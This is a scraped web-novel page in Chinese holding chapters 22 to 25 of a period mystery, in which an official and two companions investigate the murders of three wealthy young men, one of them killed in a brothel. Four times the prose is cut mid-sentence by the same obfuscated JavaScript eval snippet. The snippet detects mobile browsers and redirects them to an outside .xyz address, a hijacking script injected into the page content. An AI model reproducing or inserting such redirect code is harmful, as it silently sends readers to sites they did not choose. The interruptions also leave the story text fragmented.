“自然不能说！”县令见自己被一而再再而三的忽视，气不打一处来，但他又不敢把气撒在顾绍之身上，只能对着晏宁吹胡子瞪眼。 “没什么不能说的。” “……”县令看向顾绍之，脸涨成猪肝色。 “先进去吧。” 县令跟在身后，不敢怒也不敢言，他不明白这几人有何身份能参与这么大的案子，在他治下，本该一直风平浪静，谁知出了这么一档子事。 才过了一日，已发生两起命案，弄得城中人心惶惶，即便他让手下人吩咐下去，严禁城中再议论此事，却也堵不住悠悠之口。 那凶手实在可恨！ 在众目睽睽之下犯案，还让人抓不住他！ 死的还是宋家和周家的公子，死谁不好，偏偏死他们。 案发之后，两家都遣人来过，要求带走尸身，并命令他三日内破案。 可案子没破，尸体更不能带走了，那群人就这么站在衙门外又吵又闹，吵得他头疼。 就在这时，顾绍之来了。 他惶恐不已，以为这事已经传到京都去了，但转念一想，天高皇帝远，才一日功夫，怎么也不可能啊。 他旁敲侧击的问过许多回，都被他的似笑非笑给打了回去，让他不敢再问，这种时候就是应该沉默，既然有少卿大人接手案子，那他便从旁协助就好，这样一来，即便破不了案，他也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831683|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能推得干净，不怕丢了他的官位。 到了验尸房外，顾绍之递给他们几块布巾，掩鼻用的，清璇没接，小声道：“姑娘，我还是在外等你吧。” 晏宁颔首。 元青见状也同谢鹤明道：“公子，那我也留下。” 谢鹤明摆手示意。 几人进了验尸房，里头臭味熏天，即便蒙着口鼻，也觉得呛人。 晏宁几不可查的蹙了蹙眉。 正中摆放着两具尸体，用白布盖着。 顾绍之解释道：“因亲属不让解剖，所以暂时无法确定死因。” “不过这二人都有一个共同点……” 他走到两具尸体中间，看了眼晏宁，又看了看谢鹤明，指着尸身上某一处道：“他们这儿都被……”他的手掌比划了一下，“割了。” 晏宁微愣，随后便理解过来了，但脸上并无多大反应，全然不似普通女子。 顾绍之也觉惊奇，但晏宁给过他太多惊喜，稍稍一想又觉正常。 “除此以外，他们身上可还有伤口？”一顿，她继续道：“我听说有一人是吊死在县衙外的。” “脖颈上的伤可是致命伤？” “的确如此。”顾绍之戴上护手，掀开一旁白布，露出一张瘦的只剩皮包骨的脸来。 晏宁看到他的脖颈上有一道掌心宽的红痕。 “我们比对过绳子与他脖子上的伤，对不上，此人应当是先被勒死，再挂到梁上。” 顾绍之招手，让县令过来，站在他面前，背对着他。他的手在县令的脖子上比划，“凶手当时应是站在他身后，就如我现在这个位置，用一根绳子勒住他，当时死者意识还是清醒的，他会下意识地挣扎，绳子就会在他脖子上来回摩擦，造成这样的伤痕。” “有一处疑问。”晏宁道：“若凶手身量比他高，力气也比他大，一人一绳制住他也不是难事，也就不会造成这样的伤痕。” 顾绍之心头一动，看向一旁，谢鹤明从进来就未曾开口，“云隐，你怎么看？” 谢鹤明收回视线，问：“他身上可有伤？” “身上？” “不错。”谢鹤明盯着死者脖子上的伤痕看，“这伤若是致命伤，身上不可能全无痕迹。” “另外，方才七娘所说，是假设凶手比他高比他壮的成年男子，但若是女子呢？” “女子？” 顾绍之不解，晏宁眉眼微动。 谢鹤明唇角噙着一抹笑，朝县令招招手，“有劳大人帮我一个小忙。” 县令不愉，什么人都敢随意指挥他了，但触及顾绍之的目光，他心不甘情不愿地走过去。 谢鹤明笑道：“有劳您背过身去。” 县令照做。 下一刻，突然一个东西勒住他脖子，并微微使力，他本就骇了一跳，慌乱之下不停蹬脚，双手紧紧抓住脖子上的绳子，几番动作之下，脖颈一阵疼痛。 顾绍之着实没想到这一出，见晏宁面色平静，便猜测他只是示范，干脆静静看着。 正当县令已经不停翻白眼的时候，谢鹤明松了手。 22. 第三人 县令腿一软，扶靠着墙才勉强站稳。 他猛呛咳几下，抚着脖子，哑声骂道：“你、你好大的胆子！敢谋害朝廷命官！” 谢鹤明耸耸肩，指着他的脖颈，对二人道：“若是他杀，被勒的第一反应定是缓解痛楚，而他的脖颈上定有抓痕。” 他走到尸体旁，“整个脖颈被勒痕覆盖，难以看清。” 顾绍之也凑上前看，“确是如此。” “不过，”他皱眉道：“他身上并无伤痕。” 谢鹤明错愕一瞬：“确定没有？” “确定，仵作已勘验过。” 这就奇了，死者被抓受困，挣扎间总会留下痕迹，没道理只有脖子上一处伤痕，他总不会是主动跟凶手走的吧？ 晏宁想了想，问：“敢问大人，他……” 话没说完，外头便传来吵嚷声。 “怎么回事！”县令本就憋着一股气，对里头的人撒不得，只能把气往外出，恶狠狠地冲出去。 随后，三人也一道出门。 清璇走上来：“姑娘，这些人好不讲道理。”她拧着眉，像是被气着了，“偏要让交出尸体，不交就硬闯，还说什么只剩两日，可有找到凶手。” 晏宁沉默地看着眼前一众人推搡吵闹，大多是身着短打的护卫，再往外站着几个衣着鲜亮上了年纪的男女，三白眼、颧骨尖突、嘴歪唇薄，一脸刻薄相。 果然，只见他们命令护卫：“都给我打！谁敢拦着，给我一起打！” 县令觉得头疼不已，忙上前劝道：“不是说了还有两日，你们这是做什么？”他生怕顾绍之发现端倪，只想着赶紧把人打发走。 谁知，对方压根没看明白他的眼色，气势嚣张道：“怎么！你收了我们那么多银子，随意打发几句就完事了？” 县令心头一咯噔，根本不敢回头看顾绍之的神色，佯怒道：“胡说八道什么！念在你们痛失爱子的份上，本官不予计较，别再胡搅蛮缠了，等凶手落网自会告知你们，至于尸体，也得等案子破了，才可带回。” “我呸！”其中一个妇人大声叫骂：“好你个狗官，也敢跟老娘耍心眼，没有我们，你这县令坐得稳吗？今日我必须把我儿子带走，限你们两日破案，否则……” “否则什么？” 乍然听到旁边传来一句声音，妇人脸都没看清，就骂道：“否则我拆了你这县衙！” “好大的口气。” 顾绍之从身后走出来，众人下意识让开，妇人这才看清他的脸，狐疑道：“你是何人？”随即瞥了眼县令，了然道：“他破不了案，让你来的？不管是谁，只要抓到凶手交给我，我必定有赏！” 那趾高气扬的劲儿，不知道的还以为县衙是她做主。 县令早被她这不知死活的劲儿给吓得张不开口了，正欲呵斥，却在触及顾绍之的目光时，闭口不言。 顾绍之笑笑没说话，只是神色一点点冷下去。 他的目光不经意掠过对面几人，引得那几人心头一颤，好歹是将家宅打拼至如今，也算见多识广，宋老爷和周老爷连忙拽了自己的夫人一把，低低斥道：“无知妇人，这儿哪有你说话的份！” 随即拱手向顾绍之赔礼，“大人勿怪，内人也是伤心过度，这才口不择言开罪了大人，小人代她赔礼了。” 他虽不知眼前人是何身份，但他既能站在县令身旁，又穿着官服，气势斐然，不似下官，那必定不能得罪。 收敛些总是好的。 可某些人却无法想明白他的用意。 “老不死的，你敢让我闭嘴？！他收了咱们的银子就得护好我们儿子！如今在他的地盘上，儿子死了，你还让我闭嘴！我今天……我还非要给他一个教训——” “啪”—— 一声重响。 宋夫人不可置信地捂着半边脸，面目逐渐狰狞，歇斯底里的朝他扑过去，“我跟你拼了我！” 顾绍之蹙眉，朝县令看去，“妨碍公差，是何罪名？” 县令讪讪一笑，“这是死者家属，悲痛之下也、也情有可原……” “情有可原？”顾绍之反问。 他声音温和，嘴角带笑，但说出口的话却有压人之势。 县令打了个激灵，连忙道：“下官这就处理。” 等一干人都消失后，顾绍之才扭头道：“继续吧。”他往里走，问：“晏姑娘适才想问我什么？” 晏宁渐渐回过神，回想了一番，道：“那二人的死亡时间是何时？” “一人在巳时左右，一人在寅时左右。” 他们昨日亲眼目睹第一个人跌进河里，自然知道哪具是巳时身亡，哪具是寅时身亡。 “他们可曾与人结仇？” 顾绍之停步，扯出一抹嘲弄般的笑，“姑娘有所不知，这二人是城中有名的二世祖，平日最爱作威作福，仗着有人撑腰，没少得罪人。你要问可曾与人结仇，怕整个铜陵人都恨极了他们。” 晏宁闻言睫毛轻颤，“大人才到不久，如何了解的如此清楚？” “那也亏得他们犯了不知多少起案子，都一一记录在册。”顾绍之似乎想到什么，多说了一句：“不过我在账上还看到一个名字。” “什么？” “陆逍。”顾绍之道：“此人同宋周二人一样，缺德事没少干，听说这三人还是自小一起长大的，如今死了两人，那这剩下一人……” 他虽没说完，但众人都知他的意思。 清璇因父母之事最恨的便是这种有权有势的富贵公子，撇嘴道：“这种人活该落得这般下场，就他们的命金贵，别人的命就不是命了？即便死了，还有爹娘施舍些银子命令官老爷为他们缉凶，换做寻常百姓，怕是要将这冤屈往肚子里咽了！” 顾绍之微愣，似乎不解其意，笑问：“姑娘何出此言啊？” 他温声道：“恶人犯罪自该有刑狱审理，动用私刑本就不对。” “说得轻巧！”清璇也不知想到了什么，眼眶都红了，顾不得眼前人是谁，恨恨道：“若天下官员都明辨是非，勤政爱民，那就不会有那么多含冤而死的百姓。” 她抬眼，眼中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831684|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似含热泪，要落不落，“顾大人，你身居高位，可曾知道在世间的某处，有官员在家中私设刑房，纵容其子掳掠良家妇女，遇有不从者，便以刀剑杀之。” 见顾绍之久未说话，她笑了起来，笑的同时一滴眼泪滚落，“你不知道，或者说你即便知道也无济于事，你不过是一个人，一双手，救不过来那么多人。你说得也许不错，动用私刑不对，可对于那些孑然一身，孤苦无依的平人，你说他们是会在悲苦与悔恨中安度余生，还是会全力拼一把，替死去的亲人讨回公道？” 她字字锥心，令顾绍之也一时哑口无言。 “在其位，谋其职。”清璇笑叹一声，喃喃自语道：“真正做到的又有几人。” 气氛一度凝滞。 晏宁似在出神，谢鹤明静静地看着她，眼都不眨一下，顾绍之被数落一通，竟像在认真反思。 元青轻咳一声，从后面扯了扯清璇的衣袖，被她瞪一眼：“做什么！” “……清璇姑娘，这众目睽睽之下好歹给顾大人留个颜面。”元青凑上前低声道。 清璇撇了撇嘴，扭头不语。 “姑娘说的在理。”出乎意料的，顾绍之并未简单将此事轻轻揭过，而是郑重其事同她道：“此番回京，我定会如实向圣上禀明。” 说着，也为了调节气氛，玩笑似的说道：“我官位虽小，但有更高的顶着。” 清璇心情渐渐平复，大抵是发现他与沈岱父子不同，软了语调：“大人所言，我自是相信的。” 目光一转，见晏宁脸色不是很好看，立刻担忧起来，“姑娘，你没事吧？” 她站得离晏宁很近，手指多次摩擦而过，触及一片冰凉，登时吓了一跳，“姑娘，你手怎么这么冰？是很冷吗？” 晏宁听她不停叽叽喳喳，加上陡然想起一些往事，觉得头疼得厉害，又只能摇头道：“无事。” “这哪里像无事的样子……”清璇见她唇色苍白，纤弱的身子在风中摇摇欲坠，似乎下一刻就要倒了。 谢鹤明时刻注意着晏宁的状态，只要她稍有不对，便能确保自己第一时间接住她。 顾绍之也道：“姑娘若是身子有碍……” “我只是想到一些不好的往事。”晏宁干脆打断他的话，继续他适才说出的话，“陆逍。此人既与本案密不可分，那就要在凶手之前找到他，免得去晚了。” 话音才落，府外就传来叫嚷：“大人——” 顾绍之皱眉，觉得定没好事。 果不其然，衙役脱口道：“又、又死人了！” 县令从另一头赶来，闻声险些没晕过去，幸而被人扶了一把。 他为官多年，一直相安无事，纵然城中最令他头疼的三户人家里的儿子都混账了些，但到底没弄出过人命，打得半死的也就暂且不提。 短短一日死了三人，他这县令算是做到头了。 “死者是谁？人在何处？” 衙役吞吞吐吐，“是陆家公子，是在、在绮春坊发现的……” 绮春坊，铜陵最大的花楼。 23. 绮春坊 顾绍之带上衙役，同晏宁几人一起来到绮春坊外。 要说起勾栏瓦舍，铜陵也有很多，但其中最红火的便要数这间绮春坊了。 这间花楼在铜陵城声名赫赫，上至达官显贵，下至文人雅士都爱往里钻。只因里边不仅有卖艺卖身的妓子，也有只卖艺不卖身的清倌人，来此处的商人除了找乐子，也有听曲谈事。 平日里人来人往，络绎不绝，此刻却寂静无声，里里外外都被一股沉闷惊惧的氛围所笼罩。 绮春坊四周都被衙役围住，见到顾绍之，有一黑脸高大的男人立即上前解释道：“报案人是绮春坊里的一个名妓，换作芙蓉，据她所说，死者是她的常客，有多日未来，一来就……”他顿了顿，瞥一眼站在一旁的两个女子，脸上有些尴尬之色，“就急不可待地做那种事，结果没到一半他就死了。” 离他近的几名衙役都绷不住，“噗嗤”一声笑出来，随后察觉到顾绍之的神色，立刻憋回去，紧抿着唇，脸都涨红了。 清璇自然也听得清楚，但她在沈府中受尽折磨，无论是心还是身都已残缺，早就不是那种单纯天真、清清白白的女子了，闻言也没多大反应，晏宁更是面无表情，眸色浅淡，让人看了都觉得这种污秽之事会脏了她的耳。 谢鹤明朝一旁看了眼，却见晏宁的目光落在别处，神色专注，仿佛发现了什么，他顺势看过去，远处是围堵着看热闹的百姓，他虽狐疑，却没察觉有何不对。 “人在何处？”顾绍之冷冷看了那群衙役一眼。 “在楼上，我带您去。” 黑脸衙役前方带路。 他们刚一进去，县令就紧赶慢赶地来了，问外头人：“顾大人呢？” “已经进去了。” 县令叹口气，小声嘀咕道：“跑来跑去地，我这一把老骨头都快散架了。” 绮春坊大堂十几张圆桌上摆着各种杯盏酒壶，小菜瓜碟，被这事惊的，众人皆闻风而逃，生怕惹上官司。 顾绍之瞥一眼，“今晚出现在这的都带回衙里问话。” “是！”黑脸衙役应声，朝身后招手，吩咐下去。 众人走上二楼。 台阶是木质的，踏上去时会有轻微的细想，但素日里坊内都是人满为患，喧哗之声彻夜不停，想来这点动静也不会有人注意。 二楼长廊有许多厢房，出事的是在最里边一间，众人走过去，大门正是敞开的，还没踏入，就能看见死者仰躺在床上，下身粗粗盖了一层布。 黑脸衙役解释：“这人是……到一半的时候突然倒下，浑身赤裸，衣不蔽体，卑职觉得这实在有碍观瞻，就随手盖了一下，其余并未动过。” 晏宁只看了一眼，就觉眼前骤然一黑。 她抬头，原是谢鹤明挡在她身前，不知是有意还是无意，她往旁边挪，谢鹤明也往旁边走，始终挡住她的视线。 无论他是什么意思，晏宁都没心思猜，干脆绕过他，踏进门槛。 谢鹤明愣了下，听到一旁元青发出的笑声，“公子，七姑娘都不介意，你在意什么？” “……呵。” 一进屋里，晏宁就闻到一股异香，她觉得有些熟悉，但一时又说不上来，便也没开口。 靠窗的位置有一张桌案，摆着一张铜镜，几盒妆奁，都是女子佩戴的首饰，除此以外，还有胭脂水粉。这并不奇怪，花楼里的姑娘若是手段高明，能勾的男子魂牵梦萦，能让他为自己花再多的银钱都不无可能。 清璇却在某一处停留了片刻，随即移开眼。 顾绍之道：“报案人呢？带上来。” 衙役应了，过了须臾，带来一个衣着裸露的女子，她肤白腰细，姿态窈窕，抹了口脂的唇似乎晕开了，那双媚眼里含着些惊恐，她一见顾绍之，忙跪下喊道：“大人，奴家可什么都没做啊——他突然就倒下了，奴家也是惶恐……” 她虽急着与此事撇清干系，可那语气仍改不了矫揉做作。 顾绍之睨她，“本官还什么都没说，你急什么？” “是、是……”芙蓉拿着绢帕抹泪，衣衫又薄又透，令人不忍直视，她道：“奴家也是害怕……这人死在奴家屋里，虽说大人明察秋毫，定会还奴家一个清白，但沾了这等事，心中难免恐慌……” “你只要如实回答本官的问题，本官不会与你为难。” “……多谢大人。” 顾绍之看她一眼，道：“你先起来吧。” 芙蓉弯了下腰，提裙起身。 顾绍之问：“你与此人相识多久？” 芙蓉想了想，道：“有两三年了。” “他来这都是找你的吗？” 芙蓉掩唇轻笑，“一开始不，他那时看中了蝶衣，两人持续了几个月，他才来找我。” “蝶衣？”顾绍之皱眉，“她在哪？” 说着正要招手喊人，芙蓉连忙止住：“大人不必叫了，蝶衣不在了。”怕顾绍之误会，她多说了一句：“她一年前就出城了，即便是找，这大海捞针的，恐怕也找不到。” 如此，顾绍之只能作罢，继续问：“听说他好几日都不曾来了？” “是啊。”芙蓉叹了口气：“准确来说，有近一月不曾来了。” “以前有过这种情况吗？” 芙蓉摇头轻笑：“大人有所不知，这位陆公子是出了名的风流好色，他一日不碰姑娘就浑身难耐得很，这不，一月未来，一来就猴急成那样……” 话里话外，尽是嘲弄鄙夷。 说到此处，众人也有些了然，还是色字头上一把刀，他时常流连于女人堆里，最后也死在女人身上，谁能说不是报应呢。 “本官再问你，”顾绍之双眸微眯，道：“你可认得宋良玉和周言二人？” 芙蓉闻言脸色僵了一瞬，状若无常道：“认得认得，不就是城里最有名的纨绔嘛。” 她这话模棱两可，换做任何一人都会说认识，但这意义却是全然不同。 “你知道本官不是问这个。”顾绍之道：“他们可曾来过这？又或是你从陆逍的嘴里听到过什么？” 芙蓉身子紧绷了会儿，低头不言。 县令在外头待了许久，总算找到机会插一嘴，立刻走进屋，斥道：“顾大人问你话，还不快说！” 芙蓉看了看县令，又看了看屋内众人，忽然泄了气，“不敢隐瞒大人，奴家也是怕背上人命官司，你说这陆公子死在我屋里就已经够晦气了，又来两个，以后谁还敢来找我啊……” 她一边抹泪，一边哀哀哭得伤心，“他们三人时常凑一起玩儿，连品味也都相同，每次来楼里点的姑娘都一样……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831685|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她说到此处，身旁一众人脸上都露出难以言喻的神色。溜鸡斗狗也就罢了，□□还嫖一样的姑娘，这叫什么？臭味相投？也难怪死也一起死了。 顾绍之突然想到一点：“这么说，那个叫蝶衣的姑娘也同时服侍过这三人？” 芙蓉点头。 “你说她一年前出城，可有亲眼目睹？” “……这倒没有。”芙蓉犹豫一瞬：“可她的确收拾包袱走了，这还能有假？” 顾绍之没应，只问：“她是一个人走的？谁替她赎的身？” “我没见过。”芙蓉笑道：“不过，能赎的起我们这儿的姑娘的都是有钱的公子。” 顾绍之沉吟片刻，当即吩咐人去城里城外搜寻，他觉得此人与本案定有密切关系。 芙蓉见状，小心翼翼试探道：“大人是觉得蝶衣还在城里？” 顾绍之觑着她，严声警告：“不该问的别问！” 几个衙役都将屋里翻了一遍，并未找到有用东西，顾绍之来回踱步，眉目微凝，芙蓉被他斥责一句，也没露出不快之色，因她常年待在花楼里，伺候过的恩客没有几十也有上百，各人有各人的性子，有温柔体贴的，也有蛮横粗暴的，她早就习惯被人呼呼喝喝的日子，是以也没觉得有什么不同。 这时，她似乎想起什么，突然道：“这次陆公子来时，嘴里似乎还说着什么，但他嘀嘀咕咕的，我并未听清，只听到‘她回来了’‘见鬼了’几个字。” 顾绍之停步，手握成拳抵在桌上，低头思索。 她回来了？ 这个‘她’指的是谁？难道是那个叫蝶衣的女子？ 他正百思不得其解，扭头一看，晏宁站在窗前，不知在看什么，久久不曾挪动脚步，他疑惑道：“晏姑娘，你在看什么？” 晏宁转身，手上拿着一个小匣子，是花形的，上头还有桃花印记，模样煞是好看，她举起来，问芙蓉：“这是何人所赠？” 旁人不解其意。 芙蓉定睛一看，道：“是宋公子送的。” “记得如此清楚？” 芙蓉咯咯笑起来：“姑娘有所不知，这宋公子除了好美人，还好脂粉，别的不说，就他送的这一盒比旁人送几盒都贵。” “这个……很贵？” 晏宁若有所思的瞥了眼清璇。 “自然。” 清璇这才想起那股熟悉感从何而来，正要说话，却被晏宁眼神制止了一下，她虽不知为何，但就是下意识的信任晏宁。 “晏姑娘，这个脂粉有什么问题吗？”顾绍之见她们都不说话了，忍不住问道。 “没什么。”晏宁从容应对：“同为女子，难免对胭脂水粉多了几分兴趣。” 这话骗骗别人可还行，谢鹤明却半点不信她说的话。 一个从不施粉黛的女子说她喜好脂粉？喜欢来干嘛？收藏吗？ 但顾绍之好似信了，并不纠结于此，扭头冲芙蓉道：“这几天你就待在楼里，若还想起什么随时找人传话。” 他笑了一下，不得不说这位少卿大人笑起来也有几分俊俏，绕是芙蓉这般见过形形色色的男子也不免一时看呆了去。 “案子早日破了，也能还你一个清白，否则你永远都有嫌疑。”说出的话却不怎么动听，“明白吗？” 24. 支开 芙蓉盯着这双眼，不自觉地点点头，心跳得又急又快，一口气憋着不敢呼，等顾绍之移开目光，才松口气。 她怯怯问：“那大人，我能……” 这屋子死过人，自然不能再住人了。绮春坊出了这等事，在案子还未查清之前，生意也是做不了了。 “先下去吧。”顾绍之没再看她。 “谢大人。”芙蓉忙不迭提起裙摆转身就跑。 县令赔笑着上前道：“顾大人，楼下问话问到一半了，您要不下去看看？” 几个衙役等在一旁候命，顾绍之吩咐人将尸体带回府衙，让仵作检验。他又环顾一圈，这才带着一众人下楼。 晏宁几人跟在最末，她想到许多，但如今还差最后一步——查证。 楼下闹哄哄地，衙役让人排好队，一个个问话，只是这群人非富即贵，再不济也是文人雅士，举手投足都透着股清高劲儿，对问话的衙役也是满脸不耐。 有人道：“你们查案归查案，把我们扣在这算怎么回事？！别说我没提醒你，我身上也有功名在身，你最好赶紧放我走，否则……” 另一边也有人道：“你知道我是谁吗？！平阳王可是我舅舅，你敢这么对我，小心你的脑袋！” 这时便有人嗤笑了，“舅舅？谁不知道平阳王不过而立之年，而您贵庚啊？我瞧着，怎么也年过五旬了吧？这么大岁数了，您还亲自出来逛窑子，身子骨吃得消吗？” 这一番似讥似贬，似嘲似辱的言论引得众人哄堂大笑。 被骂的那人脸上青一阵红一阵，他肩宽体胖，下巴还有赘肉，鼻梁微凹，双眼直直瞪着眼前人，哆嗦着手指着他，像是被气得说不出话来。 他对面站着的是个眉清目秀的公子哥，眉宇间透着嚣张肆意的贵气，抬了抬手中折扇，慢悠悠地将男人的手按下，一副好言好语道：“您啊，这么大岁数了，身子骨可不像我们年轻人硬朗，当心气坏身子。” 顿了顿，他又装模作样地转身，言语仍在讥讽，也不知是说给谁听的，“人老了，在某些事上总是有心无力，还不如交给我们这些年轻人，你们说是不是啊？” 他哈哈哈的笑起来，众人也跟着附和。 男人眼前一黑，被气晕了过去。 顾绍之听了全程，让衙役把人抬到一边，站在楼梯口望向众人。他一出现，堂上自觉噤声，衙役让到一旁，低声回禀情况。 晏宁几步错身而过，顾绍之抬手示意衙役，开口喊道：“晏姑娘，这是要去哪儿？” 晏宁停步转身，解释一句：“民女出去透口气。” 顾绍之看了谢鹤明一眼，点头笑道：“有云隐陪着，也好。” 晏宁对此不作回应，只欠身告退。待出了门，她四处看了看，牵起一抹笑，对身旁人道：“谢公子，可否劳烦你帮我去城东买唐记的栗粉糕？” 晏宁很少笑，对着他时更不必说了，因此眼下听她轻声央求，谢鹤明微怔，一时没答话。 倒是一旁的元青憋不住，急急道：“那城东离这足足有十几条街，一来一回半日都过去了……” “可以。”谢鹤明直接打断他的控诉。 元青不可置信，“公子你……” 晏宁笑起来：“多谢。”她脸上的笑意难得真诚了点。 见她们走远，元青半是不解半是闷闷道：“公子，七姑娘分明是故意的，你为何还要……” “连你都发现了，我还能不知道？”谢鹤明低头轻笑，“她有意支开我，给了我台阶下，那我顺势而为又何妨，每个人都有秘密，没必要追究，更何况，等我弄清了……”他一只手抚上心口，感受到胸腔里的跳动，似乎比方才平稳不少。 元青没听到最后一句话，似懂非懂地点点头，这一磨蹭就落后了他一步，连忙追上去问：“那公子，我们接下来去哪儿？” 反正都只是为了支开他的一个借口，也没必要真去那么远的地方吧？ 谁知，他这想法还没成型，就被谢鹤明抹杀。 “城东，唐记。” “……”元青算是彻底服气了。 要说起来还真是巧，绮春坊所在的位置处于城中最繁华的地段，街头巷尾酒香醉人，茶香四溢，人人都往花楼门前过，就看谁能经得住诱惑。 眼下出了人命案子，百姓都躲得远远地，生怕招惹晦气。官差已将楼里楼外都围了起来，那些在案发时出现在现场的人，问完话以后，没什么问题就放回去等候传唤，有几个磕磕绊绊、说不明白的人就带回府衙继续审问。 当几个衙役抬着尸体出来的那一刻，虽盖着白布，但还是有人倒吸一口凉气，面色惶惶，一副想看又不敢看的模样。 顾绍之站在楼外，目光扫过两边众人，问一旁衙役：“叫死者家属去府衙问话。” 衙役应声退下。 留下几人继续看守现场，其余人跟随顾绍之一同回了县衙。 晏宁站在卖珠钗的摊贩前，见绮春坊门外的人大部分都撤了，她才往反方向走去。 清璇跟在身旁，不解道：“姑娘，我们这是要去哪？” “胭脂是哪儿买的，就去哪儿。” “胭脂？”乍然听她这么一说，清璇想起来了，“对了，刚刚我就想说，芙蓉姑娘房中的那盒胭脂不就和我买给你的那盒是同一家店里的吗？” “不错。”晏宁仔细留意一边店铺上的牌匾，若她没猜错，应当不会离案发地太远，问：“你还记得那家店在哪吗？” “记得，就在前面。”清璇手指前方。 走着走着，这条路逐渐变得熟悉起来，晏宁突然驻足，目光掠过一旁街肆茶楼，她转身向后看了眼，方才她们从绮春坊里出来，一路往西走，经过暂时下榻的客栈，停在初到铜陵时停下歇脚的茶楼，她抬头往茶楼看一眼，那扇敞开的窗子上坐着两个陌生男子，只是前不久她也曾坐在上面往外望过。 她顺着窗子的方向，又望向另一侧，对面正是那条发生过人命的河，这一切都历历在目。 河边、绮春坊……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15831686|175592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>两个案发地相距并不远，这不是一个巧合。 “姑娘，你在想什么？”清璇见她不走了，也顺着她的方向到处看，似乎也注意到什么，默了默，小声问：“是那个凶手？” 晏宁不语，继续朝前走去。 过了会儿，她们就看到一家胭脂铺，依旧门庭惨淡，冷清得很。 二人走进铺子里。 “有贵客来了，快快招呼着……”话音戛然而止。 清璇朝她欠身，“夫人。” 妇人一见二人，双眼不自觉地瞪大了，好半晌都没说出一句话来。她勉强扯出一抹笑来，“姑娘是来买胭脂的？” 晏宁四处转了转，这家铺面并不算大，但货架上的胭脂水粉倒是种类齐全，各类妆匣看得人应接不暇，她绕了一圈，确定没有她要找的人后，直言道：“不瞒夫人，我是来找人的。” 妇人与她对望片刻，欲言又止，朝门外看一眼，见无人注意，忙不迭过去将门关上，回身又站了会儿，叹口气：“你们还是来了。” “夫人知道我们会来？”清璇道。 妇人走到帘子旁，扬声喊了句：“妧娘，你等的人来了。” 晏宁初一听这个名字，还有些不确定，直到帘子掀起，从里走出一个亭亭玉立的女子。 她和那日所见穿着无甚区别，这才一眼认出。茶楼里，坐在她对面的女子，虽戴着幂篱，但青衣素带，身上无亮眼之配饰，唯有腕间一根红绳，曾经她也听闻一种谣言，说是亲人离奇殒命，为让亡者安息，便会去庙里求一根红绳，自行编织，戴在腕间，以求亲人来生平安喜乐，无病无灾。 那时匆匆一眼，并未放在心上，可联想这几日发生的事，不得不让她怀疑。 没等晏宁深想，眼前女子朝她欠身行礼，双腿微屈，半个身子都倾身下去，她突然来这么一个举动，晏宁蹙眉后退一步，不知她想做什么。 “我为当年之事，向姑娘赔礼。” 晏宁怔住。 “十二年前上元节，定襄城外，破庙里。” 晏宁瞳孔骤缩。 说到这儿，她已全部记起。 十二年前的上元节，她还未被霍云清带回霍家，仍在街上讨食，过着有上顿没下顿的日子。 她记得那一夜，花灯如海，流光溢彩，街旁纸灯如繁星般璀璨，与天上月色争相辉映。孩童踏着光影，在人群里穿梭。男女老少着鲜艳服饰，各式街贩错落有致，台上曲声阵阵，引得满堂宾客喝彩。 而她，穿得伶仃单薄，幸好她长得瘦小，衣服还能遮住全身，只是她时常挨打，倒在地上时将衣服磨破了好几个洞，鞋子也不能穿了，只能赤着脚走在街上。 正月天里，夜晚冷得出奇，她小小的身子缩成一团，头发乱糟糟地，脸上灰头土脸，她双手环住自己，给自己取暖，但裹着刀子的寒风打在脸上无比刺人，她一步步走得艰难，冻得脚上生疮。 她逆着人潮往城外走去。 那些欢声笑语、无忧无虑皆与她无关。 25. 破庙 一段路后，她见着一间破庙。 庙口长着一堆半人高的杂草，隐约可见里头零星火光，走了这么长的路，除了风就是风，别说人影了，鬼影都没见到一个，晏宁吸了吸鼻子，眼里总算出现一丝光亮。 她想进去取暖，但双脚已经冻僵，磨磨蹭蹭地走到庙外时，她听到一些声音，下意识地停下脚步，没再往前。 离了城里的喧嚣，城外一片惨淡凄凉，夜色很黑，就连月光都只照着城中那些百姓。 